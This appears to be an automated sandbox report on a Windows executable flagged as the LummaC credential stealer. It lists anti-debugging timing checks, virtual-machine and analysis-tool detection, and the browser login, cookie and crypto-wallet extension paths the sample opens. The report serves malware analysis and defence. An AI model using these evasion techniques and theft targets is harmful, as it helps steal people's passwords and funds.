Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C00 second address: 4E80C57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c mov ebx, 5E8B3A20h 0x00000011 mov di, D84Ch 0x00000015 popad 0x00000016 pushfd 0x00000017 jmp 00007F15206D4F15h 0x0000001c add ecx, 3FB44526h 0x00000022 jmp 00007F15206D4F11h 0x00000027 popfd 0x00000028 popad 0x00000029 xchg eax, esi 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C57 second address: 4E80C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 57ED58DCh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C61 second address: 4E80C67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80C67 second address: 4E80D18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32C9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+0Ch] 0x0000000e pushad 0x0000000f call 00007F1520D32C9Eh 0x00000014 call 00007F1520D32CA2h 0x00000019 pop ecx 0x0000001a pop ebx 0x0000001b mov di, ax 0x0000001e popad 0x0000001f test esi, esi 0x00000021 jmp 00007F1520D32C9Ah 0x00000026 je 00007F1592F3039Eh 0x0000002c jmp 00007F1520D32CA0h 0x00000031 cmp dword ptr [770E459Ch], 05h 0x00000038 pushad 0x00000039 pushfd 0x0000003a jmp 00007F1520D32C9Eh 0x0000003f adc ax, BDE8h 0x00000044 jmp 00007F1520D32C9Bh 0x00000049 popfd 0x0000004a push eax 0x0000004b push edx 0x0000004c pushfd 0x0000004d jmp 00007F1520D32CA6h 0x00000052 and eax, 44C35048h 0x00000058 jmp 00007F1520D32C9Bh 0x0000005d popfd 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6192747 second address: 619274B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619E6AD second address: 619E6B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619EA88 second address: 619EA9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jc 00007F15206D4F06h 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619ED97 second address: 619EDAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32CA1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619EDAC second address: 619EDC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F15206D4F0Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619EDC7 second address: 619EDCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619EDCB second address: 619EDCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619EF35 second address: 619EF3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619EF3B second address: 619EF56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edi 0x00000006 jne 00007F15206D4F06h 0x0000000c pop edi 0x0000000d pop edx 0x0000000e push edi 0x0000000f js 00007F15206D4F08h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619EF56 second address: 619EF5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A1640 second address: 61A1679 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F15206D4F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F15206D4F15h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A1679 second address: 61A167F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A167F second address: 61A1683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A16B9 second address: 61A1735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F1520D32C9Bh 0x0000000d jmp 00007F1520D32CA3h 0x00000012 popad 0x00000013 nop 0x00000014 mov edx, dword ptr [ebp+122D2C9Ch] 0x0000001a push 00000000h 0x0000001c mov ecx, ebx 0x0000001e call 00007F1520D32C99h 0x00000023 jmp 00007F1520D32CA9h 0x00000028 push eax 0x00000029 jne 00007F1520D32CAEh 0x0000002f mov eax, dword ptr [esp+04h] 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A1735 second address: 61A1739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E5CE83 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E5CD7C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 100BADA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 109D9E3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 61C6C9A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 601B2C6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 61EEEA8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 61D0CCC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 60229CB instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_061B7626 rdtsc

1_2_061B7626

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_061B3368 sidt fword ptr [esp-02h]

1_2_061B3368

Source: C:\Users\user\Desktop\file.exe TID: 8048	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 8040	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1056	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 8036	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 8020	Thread sleep time: -36018s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000001.00000002.1731714235.0000000000FEA000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000002.1736919514.00000000061A9000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - NDCDYNVMware20,11696501413z
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696501413o
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696501413h
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696501413
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactiveuserers.co.inVMware20,11696501413~
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696501413j
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - COM.HKVMware20,11696501413
Source: file.exe, 00000001.00000002.1736213688.000000000585F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\u
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696501413
Source: file.exe, 00000001.00000002.1730648035.0000000000B15000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696501413\|UE
Source: file.exe, 00000001.00000002.1730648035.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696501413x
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696501413}
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - non-EU EuropeVMware20,11696501413
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696501413x
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696501413t
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - HKVMware20,11696501413]
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696501413s
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - EU East & CentralVMware20,11696501413
Source: file.exe, 00000001.00000002.1736062912.00000000057E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\6
Source: file.exe, 00000001.00000003.1420140791.0000000005808000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696501413p
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696501413u
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - GDCDYNVMware20,11696501413p
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - EU WestVMware20,11696501413n
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696501413
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactiveuserers.comVMware20,11696501413}
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactiveuserers.co.inVMware20,11696501413d
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696501413x
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696501413
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696501413t
Source: file.exe, 00000001.00000002.1730648035.0000000000B15000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413^
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactiveuserers.comVMware20,11696501413
Source: file.exe, 00000001.00000002.1731714235.0000000000FEA000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000002.1736919514.00000000061A9000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696501413f
Source: file.exe, 00000001.00000003.1420140791.0000000005802000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696501413

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_061B7626 rdtsc

1_2_061B7626

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_061B3056 LdrInitializeThunk,

1_2_061B3056

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe	Binary or memory string: "Program Manager
Source: file.exe, file.exe, 00000001.00000002.1736919514.00000000061A9000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: file.exe, 00000001.00000002.1731714235.0000000000FEA000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: "Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, file.exe, 00000001.00000002.1730648035.0000000000AF1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1498321661.0000000000B6E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7804, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: Wallets/Electrum
Source: file.exe	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe	String found in binary or memory: window-state.json
Source: file.exe, 00000001.00000003.1646578503.0000000000B71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: file.exe	String found in binary or memory: Wallets/Ethereum
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\prefs.js	Jump to behavior
